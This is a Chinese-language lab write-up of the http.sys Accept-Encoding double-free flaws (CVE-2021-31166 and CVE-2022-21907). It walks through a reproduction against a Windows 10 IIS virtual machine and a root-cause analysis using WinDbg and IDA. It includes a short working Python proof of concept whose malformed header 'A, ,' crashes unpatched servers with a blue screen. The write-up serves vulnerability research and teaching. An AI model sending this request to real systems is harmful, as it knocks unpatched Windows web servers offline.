HTTP协议漏洞

1. CVE-2021-31166

跟CVE-2022-211907一样道理。

2. CVE-2022-21907

前言

“Accept-Encoding” HTTP 标头字段值具有以下格式:

Accept-Encoding = #( codings [ weight ] )
codings= content-coding / "identity" / "*"
weight= ";q=" qvalue
qvalue= ( "0" [ "." 0*3DIGIT ] ) / ( "1" [ "." 0*3("0") ] )

示例“Accept-Encoding”标头如下:

Accept-Encoding: gzip
Accept-Encoding: identity
Accept-Encoding: *
Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5

其中字段值字符串是gzip、identity、*、deflate、 gzip;q=1.0, ;q=0.5在HTTP.sys中的例程HTTP!UlAcceptEncodingHeaderHandler、HTTP!UlpParseAcceptEncoding和HTTP!UlpParseContentCoding负责解析“Accept-Encoding”HTTP 请求标头。


漏洞描述:

HTTP 协议栈远程代码执行漏洞,Internet Information Services (IIS) 是一种灵活、可扩展、安全且可管理的 Web 服务,用于托管 Web 上的静态和动态内容。IIS 支持各种 Web 技术,包括 HTML、ASP、ASP.NET、JSP、PHP 和 CGI。此功能通过称为 http 协议栈 ( http.sys ) 的内核模式设备驱动实现。此驱动程序负责解析 http 请求并对客户端响应。
漏洞出现在http.sys内,未授权的攻击者可以构造恶意请求包攻击目标服务器,成功利用该漏洞的攻击者可导致目标服务器蓝屏,或执行任意代码。

超文本传输协议(HTTP)是一个用于传输超媒体文档(例如HTML)的应用层协议。它是为Web浏览器与Web服务器之间的通信而设计的,Windows上的HTTP协议栈用于Windows上的Web服务器,如IIS,若该协议栈相关的组件存在漏洞,则可能导致远程恶意代码执行。经分析,CVE-2021-31166漏洞影响可稳定触发BSoD(Blue Screen of Death,缩写BSoD,指微软Windows操作系统在无法从一个系统错误中恢复过来时显示的蓝屏死机图像)。该漏洞被微软官方标记为Wormable(蠕虫级)和Exploitation More Likely(更可能被利用),这意味着漏洞利用可能性很大,恶意攻击者有可能通过利用该漏洞制造蠕虫病毒攻击。


漏洞复现:

攻击者 受害者
Windows 11 Windows 10 2004版(20H1)

poc代码如下:

import requests
import time

print("Please input your host...\n")
host = input()

poc = requests.get(f'http://{host}/', headers = {'Accept-Encoding': 'A, ,'})

然后在Win10中开启IIS:

打开控制面板-启用关闭Windows功能-开启Internet Information Services&Internet Information Services可承载的Web核心

image-20250530192051715

这里我的Virtualbox中Win10使用的是桥接模式,要保证能和主机互相ping通:

image-20250530200005079

在cmd中输入ipconfig/all查看Win10本机的ip地址,然后在浏览器中打开本机的ip地址就可以看到IIS服务:

image-20250530192337727

在攻击者机器中输入如下,便可造成Windows 10中的BSoD蓝屏。

image-20250531213942626


漏洞原因分析:

将dump文件在Windgb中打开进行分析:

image-20250531002054016

使用kd>k进行栈回溯:

image-20250531131245924

发现是调用了HTTP!UIFreeUnknownCodingList函数之后才引发的KiRaiseSecurityCheckFailure报错。

调用如下:

───> nt!KiStartSystemThread+0x28
│ ├──> nt!PspSystemThreadStartup+0x55
│ │ ├──> HTTP!UlpThreadPoolWorker+0x112
│ │ │ ├──> HTTP!UlpHandleRequest+0x1aa
│ │ │ │ ├──> HTTP!UlpParseNextRequest+0x1ff
│ │ │ │ │ ├──> HTTP!UlParseHttp+0xac7
│ │ │ │ │ │ ├──> HTTP!UlParseHeader+0x218
│ │ │ │ │ │ │ ├──> HTTP!UlAcceptEncodingHeaderHandler+0x51
│ │ │ │ │ │ │ │ ├──> HTTP!UlpParseAcceptEncoding+0x298f5
│ │ │ │ │ │ │ │ │ ├──> HTTP!UlFreeUnknownCodingList+0x63
│ │ │ │ │ │ │ │ │ │ ├──> nt!KiRaiseSecurityCheckFailure+0x323
│ │ │ │ │ │ │ │ │ │ │ ├──> nt!KiFastFailDispatch+0xd0
│ │ │ │ │ │ │ │ │ │ │ │ ├──> nt!KiBugCheckDispatch+0x69
│ │ │ │ │ │ │ │ │ │ │ │ │ └──> nt!KeBugCheckEx

这里整理一下调用关系:

UlParseHttp -> UlParseHeader -> UlAcceptEncodingHeaderHandler -> UlpParseAcceptEncoding
(解析请求) (解析 HTTP 头) (解析 Accept-Encoding 字段) (解析 Accept-Encoding 内容)

使用kd>!analyze -v自动分析bug信息报告:

image-20250531002550523

image-20250531002654318

可以看到是由于LIST_ENTRY的双重释放而造成的蓝屏,并且可以看到造成问题的程序是HTTP.sys。然后我们可以在C:\Windows\System32\drivers中找到http.sys文件。

分析DUMP,调用栈可见异常出现在UlFreeUnknownCodingList函数内,该函数由UlpParseAcceptEncoding调用,接下来对这两个函数进行分析。先再IDA中打开对UlpParseAcceptEncoding函数分析。

1. 构建链表UlpParseAcceptEncoding

它会循环解析 Accept-Encoding 中的编码方式,首先通过 UlpParseContentCoding 函数依次获取每个编码信息,如果是支持的编码方式,则设置相应位;如果是 没有被识别出的其他编码方式,则调用 ExAllocatePoolWithTagPriority 函数申请 0x20 字节大小的堆空间来存放这些信息,然后将它们链到 UnknownCodingList 中,其中UnknownCodingList 是一个双向循环链表:

image-20250531162951023

2. 更换为Request链表头

上述构建链表过程通过循环调用,直到获取完所有编码后,会进入一个判断分支,除非UnknownCodingList不为空链表且链头前后链接无异常,就会将 UnknownCodingListHead 取下,然后把 Request对象的UnknownCodingListHead链入:

image-20250531185349799

对关系进行整理如下:

//*************如果满足以下任意条件,则会调用 __fastfail(3u)*************
//校验 UnknownCodingListHead 前后关系
UnknownCodingListHead.Flink->Blink != &UnknownCodingListHead
UnknownCodingListHead.Blink->Flink != &UnknownCodingListHead
//将 UnknownCodingListHead 取下
UnknownCodingListHead.Blink->Flink = UnknownCodingListHead.Flink
UnknownCodingListHead.Flink->Blink = UnknownCodingListHead.Blink
//判断 RequestUnknownCodingListHead 是否为空
Request->UnknownCodingListHead.Flink->Blink != &Request->UnknownCodingListHead
Request->UnknownCodingListHead.Blink->Flink != &Request->UnknownCodingListHead
//校验 UnknownCodingListHead->Flink 前后关系
UnknownCodingListHead->Flink->Flink->Blink != UnknownCodingListHead->Flink
UnknownCodingListHead->Blink->Flink->Flink != UnknownCodingListHead->Flink
//***********判断条件通过之后,将 RequestUnknownCodingListHead 链进去***********
Request->UnknownCodingListHead.Blink->Flink = UnknownCodingListHead->Flink
Request->UnknownCodingListHead.Blink = UnknownCodingListHead.Flink->Blink
UnknownCodingListHead.Flink->Blink->Flink = &Request->UnknownCodingListHead
UnknownCodingListHead.Flink->Blink = Request->UnknownCodingListHead.Blink

在上一步更换链头的过程中,虽然已经将链表头由UnknownCodingListHead更换为Request->UnknownCodingListHead,但是并没有 UnknownCodingListHead将清空,通过UnknownCodingListHead 还是可以访问 UnknownCodingListHead->FlinkUnknownCodingListHead->Blink,即,UnknownCodingListHead 中依然保留可以操控原来链表的指针,如下图:

cve-2022-21907.drawio

图中左右侧箭头都表示节点的前后指针,在更换链表头后,没有将UnknownCodingListHead置为空指针。

3. 参数判定

回到前面,在进行判断时:

image-20250531194701386

在此之后,程序进入判断如果v5<0,则跳转到LABEL_33:

image-20250531194759680

LABEL_33处会判断UnknownCodingList 是否为空,如果不为空就调用 UlFreeUnknownCodingList函数,且参数为&UnknownCodingListHead。由于 UnknownCodingListHead 已经不在循环双链表中,按照这个流程对UnknownCodingList进行释放就会出现双重释放的问题。

因此,要触发此漏洞,要使得v5的值小于0,通过对于v5进行溯源,如下图所示:

image-20250531200420395

v5作为函数UlpParseContentCoding的返回值,若 v5 小于 0 且不等于 0xC0000225,则逻辑转移至 LABEL_46,这会进一步导致程序逻辑跳过将RequestUnknownCodingListHead链进链表的过程,在 UlFreeUnknownCodingList 函数中释放 UnknownCodingList 时,不会出现双重释放的问题。

综上,只有当 v5 为 0xC0000225,且UnknownCodingList不为空时,才会进行前文中分析的链表操作,且在最后判断 v5 < 0 后,跳到 LABEL_33 去执行UlFreeUnknownCodingList 函数,于是就引起了双重释放。

为了让UlpParseContentCoding函数的返回值等于0xC0000225,才能使得程序进入漏洞触发逻辑,观察UlpParseContentCoding函数:

image-20250531201534518

函数最终的返回值是v12。v9通过参数a2进行传递,而a2是当前解析剩余长度:

image-20250531201454172

image-20250531214534486

image-20250531201825354

最终,当v9的值为0时,将返回值v12赋值为0xC0000225,并跳转至返回逻辑。综上,在函数UlpParseContentCoding中, 因此要使得v9的值为0,可将最后一个参数设定为空格,在进入UlpParseContentCoding后,a2的值为1,v9会被赋值为1,并且第一个编码字符A是未知编码字符,通过循环自减一次后会退出,使得v9的值为0。使得上图判断条件成立后,作为函数返回值的参数v12会被进一步赋值为0xc0000225,最终使得程序进入双重释放的漏洞分支逻辑。